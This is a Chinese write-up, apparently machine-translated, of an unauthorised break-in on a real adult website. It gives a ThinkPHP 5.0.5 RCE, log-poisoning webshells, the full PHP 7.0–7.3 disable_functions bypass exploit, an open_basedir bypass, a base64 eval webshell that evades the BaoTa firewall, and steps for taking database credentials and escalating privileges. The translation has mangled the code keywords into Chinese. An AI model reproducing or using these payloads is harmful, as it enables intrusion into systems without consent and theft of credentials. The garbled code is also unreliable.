起因是因为云盘,因为有人在云盘类别里面发了某宅男网站链接,闲的无聊职业病又犯了。
网站,做了一下简单的信息收集发现是ThinkPHP V5.0.5,通过引用信息得到网站真实IP。
直接使用RCE防御,成功执行phpinfo
准备直接执行命令,弹壳,发现函数被替换:
看了下disable_functions替换了以下函数:
拿到壳再说,首先在日志中先写一句话,然后利用文件包含去包含日志执行代码,大概思路就是这样,先利用报错把一句话写下来:
因为日志会不断刷新,因此这里需要包含日志重新写入一句话:
成功拿到贝壳:
经过查找资料,多次尝试以后发现可以通过PHP 7.0 <7.3(Unix)-'gc'禁用函数绕过:代码脚本:
<?php
#PHP 7.0-7.3 disable_functions绕过PoC(仅* nix)
#
#错误:https://bugs.php.net/bug.php?id = 72530
#
#此漏洞利用程序应可在所有PHP 7.0-7.3版本上使用
#自2019年10月10日发布,特别是:
#
#PHP 7.0-7.0.33
#PHP 7.1-7.1.31
#PHP 7.2-7.2.23
#PHP 7.3-7.3.10
#
#作者:https://github.com/mm0r1
pwn($ _ GET [123]);
函数pwn($ cmd){
全局$ abc,$ helper;
函数str2ptr(&$ str,$ p = 0,$ s = 8){
$ address = 0;
for($ j = $ s-1; $ j> = 0; $ j--){
$ address << = 8;
$ address | = ord($ str [$ p + $ j]);
}
返回$ address;
}
函数ptr2str($ ptr,$ m = 8){
$ out =“”;
对于($ i = 0; $ i <$ m; $ i ++){
$ out。= chr($ ptr&0xff);
$ ptr >> = 8;
}
返回$ out;
}
函数write(&$ str,$ p,$ v,$ n = 8){
$ i = 0;
for($ i = 0; $ i <$ n; $ i ++){
$ str [$ p + $ i] = chr($ v&0xff);
$ v >> = 8;
}
}
函数泄漏($ addr,$ p = 0,$ s = 8){
全局$ abc,$ helper;
写($ abc,0x68,$ addr + $ p-0x10);
$ leak = strlen($ helper-> a);
if($ s!= 8){$ leak%= 2 <<($ s * 8)-1; }
返回$泄漏;
}
函数parse_elf($ base){
$ e_type =泄漏($ base,0x10,2);
$ e_phoff =泄漏($ base,0x20);
$ e_phentsize =泄漏($ base,0x36,2);
$ e_phnum =泄漏($ base,0x38,2);
for($ i = 0; $ i <$ e_phnum; $ i ++){
$ header = $ base + $ e_phoff + $ i * $ e_phentsize;
$ p_type =泄漏($ header,0,4);
$ p_flags =泄漏($ header,4,4);
$ p_vaddr =泄漏($ header,0x10);
$ p_memsz =泄漏($ header,0x28);
if($ p_type == 1 && $ p_flags == 6){#PT_LOAD,PF_Read_Write
#处理派
$ data_addr = $ e_type == 2?$ p_vaddr:$ base + $ p_vaddr;
$ data_size = $ p_memsz;
} else if($ p_type == 1 && $ p_flags == 5){#PT_LOAD,PF_Read_exec
$ text_size = $ p_memsz;
}
}
if(!$ data_addr ||!$ text_size ||!$ data_size)
返回false;
返回[$ data_addr,$ text_size,$ data_size];
}
函数get_basic_funcs($ base,$ elf){
list($ data_addr,$ text_size,$ data_size)= $ elf;
for($ i = 0; $ i <$ data_size / 8; $ i ++){
$泄漏=泄漏($ data_addr,$ i * 8);
if($ leak-$ base> 0 && $ leak-$ base <$ text_size){
$ deref =泄漏($ leak);
#'常量'常量检查
if($ deref!= 0x746e6174736e6f63)
继续;
}其他继续;
$ leak =泄漏($ data_addr,($ i + 4)* 8);
if($ leak-$ base> 0 && $ leak-$ base <$ text_size){
$ deref =泄漏($ leak);
#'bin2hex'常量检查
if($ deref!= 0x786568326e6962)
继续;
}其他继续;
返回$ data_addr + $ i * 8;
}
}
函数get_binary_base($ binary_leak){
$ base = 0;
$ start = $ binary_leak&0xfffffffffffffff000;
for($ i = 0; $ i <0x1000; $ i ++){
$ addr = $ start-0x1000 * $ i;
$ leak =泄漏($ addr,0,7);
if($ leak == 0x10102464c457f){#ELF标头
返回$ addr;
}
}
}
函数get_system($ basic_funcs){
$ addr = $ basic_funcs;
做{
$ f_entry =泄漏($ addr);
$ f_name =泄漏($ f_entry,0,6);
if($ f_name == 0x6d6574737973){#系统
返回泄漏($ addr + 8);
}
$ addr + = 0x20;
} while($ f_entry!= 0);
返回false;
}
黑麦类{
var $ ryat;
var $ chtg;
函数__destruct()
{
$ this-> chtg = $ this-> ryat;
$ this-> ryat = 1;
}
}
类助手{
公用$ a,$ b,$ c,$ d;
}
if(stristr(PHP_OS,'WIN')){
die('此PoC仅适用于* nix系统。');
}
$ n_alloc = 10; #如果遇到段错误,请增加此值
$ contiguous = [];
for($ i = 0; $ i <$ n_alloc; $ i ++)
$ contiguous [] = str_repeat('A',79);
$ poc ='a:4:{i:0; i:1; i:1; a:1:{i:0; O:4:“ ryat”:2:{s:4:“ ryat”; R :3; s:4:“ chtg”; i:2;}} i:1; i:3; i:2; R:5;}';
$ out =反序列化($ poc);
gc_collect_cycles();
$ v = [];
$ v [0] = ptr2str(0,79);
unset($ v);
$ abc = $ out [2] [0];
$ helper =新的助手;
$ helper-> b =函数($ x){};
if(strlen($ abc)== 79){
die(“ UAF失败”);
}
#泄漏
$ closure_handlers = str2ptr($ abc,0);
$ php_heap = str2ptr($ abc,0x58);
$ abc_addr = $ php_heap-0xc8;
#假值
write($ abc,0x60,2);
写($ abc,0x70,6);
#假参考
写($ abc,0x10,$ abc_addr + 0x60);
write($ abc,0x18,0xa);
$ closure_obj = str2ptr($ abc,0x20);
$ binary_leak =泄漏($ closure_handlers,8);
if(!($ base = get_binary_base($ binary_leak))){
die(“无法确定二进制基址”);
}
if(!($ elf = parse_elf($ base))){
die(“无法解析ELF标头”);
}
if(!($ basic_funcs = get_basic_funcs($ base,$ elf))){
die(“无法获得basic_functions地址”);
}
if(!($ zif_system = get_system($ basic_funcs))){
die(“无法获得zif_system地址”);
}
#伪造的关闭对象
$ fake_obj_offset = 0xd0;
for($ i = 0; $ i <0x110; $ i + = 8){
写($ abc,$ fake_obj_offset + $ i,泄漏($ closure_obj,$ i));
}
#pwn
写($ abc,0x20,$ abc_addr + $ fake_obj_offset);
写($ abc,0xd0 + 0x38,1,4); #内部函数类型
写($ abc,0xd0 + 0x68,$ zif_system); #内部函数处理程序
($ helper-> b)($ cmd);
出口();
}
发布代码脚本到目标服务器上,成功执行
发现目标不能访问根目录,查看一下phpinfo发现open_basedir函数限制了访问目录:
使用代码:
<?php
回声'open_basedir:'.ini_get('open_basedir')。'<br>';
回声'GET:'。$ _ GET ['c']。'<br>';
eval($ _ GET ['c']);
回声'open_basedir:'.ini_get('open_basedir');
?>
成功突破目录限制:
通过敏感信息收集读取到日志文件,发现目标存在phpmyadmin:
得到目录phpmyadmin路径后判断出目标使用了宝塔,宝塔一般替换把phpmyadmin建造在888端口上面:
找到数据库密码,登录之:
80多万访问IP这网站有点逆天,播放次数那么多的那位老哥,注意身体啊,由于MySQL权限不够,于是不考虑继续利用MySQL:
由于某些原因,渗透搁置了一部分,再次来看的时候发现马被删除了,重新拿壳的时候发现对方开了宝塔的防火墙。
怎么办,不能鼓励,继续怼它,对宝塔返回信息判断,应该是只对对准的参数正确判断,判断是否有敏感函数,并没有对文件内容做验证,修改了下exp在次成功编写外壳:
访问:http://XXXXX/12345678.php就会在根目录下生成2222222.php文件
2222222.php的文件内容
//把参数以base64形式初始化,然后解嘛,这样就能绕过过宝塔对参数的检测
<?php eval(base64_decode($ _ GET [1337]));; ?>
代码执行成功:
看了下时间,半夜2点了,睡觉了,第二天还要上班,于是关掉了电脑,下班后,继续打开网站,发现网站突破不能利用了,一下子开始发慌了:
冷静一下,想其他办法,一般这样的网站都不止一个ip,扫一下c段看看有没有收获,最终发现隔壁ip(xxx.xxx.xxx.42)和目标(xxx.xxx.xxx.43)一模一样,此ip开启了dubug可以存在漏洞,于是直接搞:
查看一下以root用户运行的进程发现MySQL是root权限运行:
通过查看mysqld_safe的配置文件(/etc/my.cnf)发现root用户密码:
尝试了UDF提权,root用户登录phpmyadmin,看下MySQL版本5.6.47-log
在看下/ www / server / mysql / lib / plugin目录权限不可写放弃udf提权:
打算劫持来提权的,但是发现www用户是nologin用户,不存在自己的家目录,也没有.bash_profile这个文件,所以劫持不了命令了。
可惜了,最终尝试了多种提权方法都失败了,但在整个渗透的过程中,还是有比较多值得回味的过程,因此写下了这篇文章,希望能给大家更多的启发。
本文知识点:
1.通过thinkphp5.0 *通过代码执行shell包含文件
2.绕过disable_functions局部函数
3.绕过open_basedir目录限制
4.绕过宝塔防火墙